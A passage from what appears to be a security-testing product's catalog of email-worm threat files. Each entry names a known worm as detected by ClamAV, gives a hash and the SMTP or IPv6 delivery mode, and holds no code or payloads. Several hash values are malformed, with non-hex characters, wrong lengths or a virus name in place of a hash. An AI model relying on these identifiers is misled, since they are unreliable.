Executive Description:	Email Virus Worm.Alcaul.v
Detailed Description:	This is the email virus Worm.Alcaul.v as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 922f647d186d67a4c2fe754b35066fb2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.22f21bd1_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 22f21bd1e3d6e02f89b15982fc9b7310. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.c.8239dab4.xml
Executive Description:	Email Virus Worm.MyPics.c
Detailed Description:	This is the email virus Worm.MyPics.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8239dab452e3c9e4404e6a5c056ab49a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	W32.Heidi.6cc11b3f_IPv6.xml
Executive Description:	Email Virus W32.Heidi (IPv6 Version)
Detailed Description:	This is the email virus W32.Heidi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6cc11b3fd8b8ca2f216e14d4dald7821. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.f7ad7737_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7ad7737ed12aa320f8b0a9a9b69ae9f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Navidad.B.be461c9e.xml
Executive Description:	Email Virus W32.Navidad.B
Detailed Description:	This is the email virus W32.Navidad.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: be461c9e4474e5931e0ff74931397f32. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Veryfun.9b42816a_IPv6.xml
Executive Description:	Email Virus Worm.Veryfun (IPv6 Version)
Detailed Description:	This is the email virus Worm.Veryfun as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9b42816albaa0e682876e8e2179d6158. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Kit.WCGen.4.7a9db04d.xml
Executive Description:	Email Virus Kit.WCGen.4
Detailed Description:	This is the email virus Kit.WCGen.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7a9db04dfc07e0dlee48d00927745055. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Centar.k.k.681a08e6.xml
Executive Description:	Email Virus Email-Worm.Win32.Centar.k.k
Detailed Description:	This is the email virus Email-Worm.Win32.Centar.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Centar.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.R.5bbb322a_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.R (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.R as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5bbb322a70a6a248369f45ece8d9e79b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yever.a.a.ca63f7dd_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Yever.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Yever.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yever.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Matra.4d6f4017.xml
Executive Description:	Email Virus Worm.Matra
Detailed Description:	This is the email virus Worm.Matra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d6f40179e37a956df35f76222b10f56. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rastam.e4fda82a.xml
Executive Description:	Email Virus Worm.Rastam
Detailed Description:	This is the email virus Worm.Rastam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4fda82af5514427ca29b0560c8c40ed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.b.b.6389436e.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.Brit.i.i.eidd3520_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Brit.i.i (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Brit.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Brit.i.i. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AM.e6d771c2.xml
Executive Description:	Email Virus Worm.SomeFool.AM
Detailed Description:	This is the email virus Worm.SomeFool.AM as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e6d771c24e8dbaf9543851e893c3e304. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Ainjo.d.d.1e8fb563_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Ainjo.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Ainjo.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Ainjo.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.P.75c2df98.xml
Executive Description:	Email Virus Worm.Bagle.P
Detailed Description:	This is the email virus Worm.Bagle.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75c2df982a01db8f5e7024d74b3aef5d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Proud.e449f193.xml
Executive Description:	Email Virus Worm.VBS.Proud
Detailed Description:	This is the email virus Worm.VBS.Proud as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e449f193bc7933e4f3d086cdf94edfc2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Peach.98d8706c_IPv6.xml
Executive Description:	Email Virus Worm.Peach (IPv6 Version)
Detailed Description:	This is the email virus Worm.Peach as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 98d8706c31ce9c4c45daa5c02e1a1950. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Yumao.bdd4e8ab.xml
Executive Description:	Email Virus Worm.VBS.Yumao
Detailed Description:	This is the email virus Worm.VBS.Yumao as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bdd4e8ab9db0d5e79474cb50f1f0ebda. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Saje.f40f5149.xml
Executive Description:	Email Virus VBS.Saje
Detailed Description:	This is the email virus VBS.Saje as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f40f514931029d09f7f2f751f10dlb59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BadTrans.B1.0bf5eae.xml
Executive Description:	Email Virus Worm.BadTrans.B1
Detailed Description:	This is the email virus Worm.BadTrans.B1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0bf5eaeed25da53f85086767bcd86e5e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Jantic.jan.5fd9740a.xml
Executive Description:	Email Virus Email-Worm.Win32.Jantic.jan
Detailed Description:	This is the email virus Email-Worm.Win32.Jantic.jan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Jantic.jan. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AT.13497c6e.xml
Executive Description:	Email Virus Worm.Bagle.AT
Detailed Description:	This is the email virus Worm.Bagle.AT as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 13497c6e85bf4b50a8b34770148d6ae4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.d.d.6b604fce.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yoxec.1d7069df.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d7069dfe6940d3c97b1f8c761ab3ba7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Snapper.sna.f5b5592a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Snapper.sna (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Snapper.sna as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Snapper.sna. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Tijor.tij.3ae473ce_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Tijor.tij (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Tijor.tij as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Tijor.tij. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zaid.2c154c5f_IPv6.xml
Executive Description:	Email Virus Worm.Zaid (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zaid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2c154c5f18defc1b08e48b50820a9736. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Urick.b.3f3f41fc_IPv6.xml
Executive Description:	Email Virus Worm.Urick.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Urick.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3f3f41fcd42add8c8aa3f9b6blafd379. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BritneyPic.1.abd315d3_IPv6.xml
Executive Description:	Email Virus Worm.BritneyPic.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.BritneyPic.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: abd315d3366a7d4ad37a4943939aa9cb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Shuq.D.5d7e77db.xml
Executive Description:	Email Virus Worm.Shuq.D
Detailed Description:	This is the email virus Worm.Shuq.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7e77db1ea0cdddab4f3233eea8d3da. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Yozis.B.5f1e5f07.xml
Executive Description:	Email Virus VBS.Yozis.B
Detailed Description:	This is the email virus VBS.Yozis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f1e5f072ec05d3a82b04eb3141fc722. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.W.f169c212_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.W (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.W as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f169c212b9eb77979df00bddell6b400. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Merlin.a9a5de52.xml
Executive Description:	Email Virus Worm.Merlin
Detailed Description:	This is the email virus Worm.Merlin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a9a5de5236b337a724ed7bd5e47d101b. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Borzella.defdl398.xml
Executive Description:	Email Virus Worm.Borzella
Detailed Description:	This is the email virus Worm.Borzella as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: defdl39871fc316aa31142aca9d7b76c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.252665b8_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BK (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 252665b81d2803589033ce289ad2d742. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BAT.FLove.ed38bbd9_IPv6.xml
Executive Description:	Email Virus Worm.BAT.FLove (IPv6 Version)
Detailed Description:	This is the email virus Worm.BAT.FLove as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed38bbd915420548c5d5a442366939f8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4f065ad4.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f065ad4f872bb1d5380399e95915ae5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.elfcb0fb.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: elfcb0fb57fcd21da4b218238f688e4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Energy.27def401.xml
Executive Description:	Email Virus Worm.Energy
Detailed Description:	This is the email virus Worm.Energy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 27def401b53e00de725c0572da3c8bdc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.8b4e37d5_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8b4e37d50e8d559f7190381fb35c317e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dumb.2.797810f9_IPv6.xml
Executive Description:	Email Virus Worm.Dumb.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Dumb.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 797810f99b6d01fae84556c4dca543b2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.09116bae.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 09116bae4b15707d4ffd27019f887469. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Agist.A.9377eb52_IPv6.xml
Executive Description:	Email Virus Worm.Agist.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Agist.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9377eb52d91b7ff40alf0e5fb3436825. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.ZippedFiles.d.d.884b68d5.xml
Executive Description:	Email Virus Email-Worm.Win32.ZippedFiles.d.d

Detailed Description:	This is the email virus Email-Worm.Win32.ZippedFiles.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.ZippedFiles.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Isabel.54e640a8.xml
Executive Description:	Email Virus Worm.VBS.Isabel
Detailed Description:	This is the email virus Worm.VBS.Isabel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54e640a8d5608287dd0b9bc7127f38d0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.7342.734.966bcb52.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.7342.734
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.7342.734 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.7342.734. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Horty.b.b.b22f1e9a_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Horty.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Horty.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Horty.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WORM.TheFly.402d5086.xml
Executive Description:	Email Virus WORM.TheFly
Detailed Description:	This is the email virus WORM.TheFly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 402d508688afaf9643924e3e33740dbe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Kitro.D.77422aef_IPv6.xml
Executive Description:	Email Virus VBS.Kitro.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.Kitro.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77422aefaa714f9480f98d57ca848de9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.4a42956f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4a42956f7ece688d0ab4f67bd279a2fd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.FreeLove.5a482d04_IPv6.xml
Executive Description:	Email Virus Worm.FreeLove (IPv6 Version)
Detailed Description:	This is the email virus Worm.FreeLove as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a482d04d8a7a3ef1960df7a15339b0a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Logex.log.d54f0bf7_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Logex.log (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Logex.log as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Logex.log. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Brid.6b58f116.xml
Executive Description:	Email Virus W32.Worm.Brid
Detailed Description:	This is the email virus W32.Worm.Brid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6b58f116153beac4920102d911c2a8d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Finaldo.b.b.a44e6de4.xml
Executive Description:	Email Virus Email-Worm.Win32.Finaldo.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Finaldo.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Finaldo.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W98.Hybris.E.03e5ead4.xml

Executive Description:	Email Virus W98.Hybris.E
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 03e5ead4eb0463677335b647b7f816e6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.64043.640.7268bf4d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.64043.640 (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.64043.640 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.64043.640. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dblue.2.5fe86b52_IPv6.xml
Executive Description:	Email Virus Worm.Dblue.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Dblue.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5fe86b52fcac44a4abb9377d6149a6bd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.d123b9ac_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d123b9acc88e6b9154202227658e737f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.eafe6fd6.xml
Executive Description:	Email Virus W32.Worm.Choke
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eafe6fd6451ffe718d94aa9fd48bc5f5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.8d8d94a1_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d8d94a1f6ded1ffef0d3ae0ba51f140. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Newlove.D.d2b8ea4a.xml
Executive Description:	Email Virus VBS.Newlove.D
Detailed Description:	This is the email virus VBS.Newlove.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2b8ea4a267c69040c7d3ad80f64f8ba. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Polsev.a.a.9c5e07c2_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Polsev.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Polsev.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Polsev.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.c.c.d28f7d63.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Krim.B.5de8ac8d_IPv6.xml
Executive Description:	Email Virus Worm.Krim.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Krim.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5de8ac8d3698f3da31d011dedd114dc5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Apbest.h.h.9be8a527_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Apbest.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Apbest.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Apbest.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Nocana.B.b7abeaac_IPv6.xml
Executive Description:	Email Virus Worm.Nocana.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nocana.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7abeaac9816c20fcd69c97e94265bb3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.f2f93898.xml
Executive Description:	Email Virus W32.Ultratt.gz
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2f9389899657155bc503e679e3b34a1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.g.g.cf5d80d9.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.g.g
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.g.g. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.c56e42a1_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c56e42a1499e57bcdcf29492876b80b9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Heidi.6cc11b3f.xml
Executive Description:	Email Virus W32.Heidi
Detailed Description:	This is the email virus W32.Heidi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6cc11b3fd8b8ca2f216e14d4dald7821. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.M1.46f4becc.xml
Executive Description:	Email Virus Worm.Alcaul.M1
Detailed Description:	This is the email virus Worm.Alcaul.M1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 46f4becc63127a839832f836a36f2860. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kitro.gl.gl.eb131252.xml
Executive Description:	Email Virus Email-Worm.Win32.Kitro.gl.gl
Detailed Description:	This is the email virus Email-Worm.Win32.Kitro.gl.gl as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kitro.gl.gl. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zheng.zhe.f86d6485.xml
Executive Description:	Email Virus Email-Worm.VBS.Zheng.zhe
Detailed Description:	This is the email virus Email-Worm.VBS.Zheng.zhe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zheng.zhe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hermon.her.8da91e09_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hermon.her (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hermon.her as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hermon.her. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mari.c.c.be0d3918.xml
Executive Description:	Email Virus Email-Worm.Win32.Mari.c.c
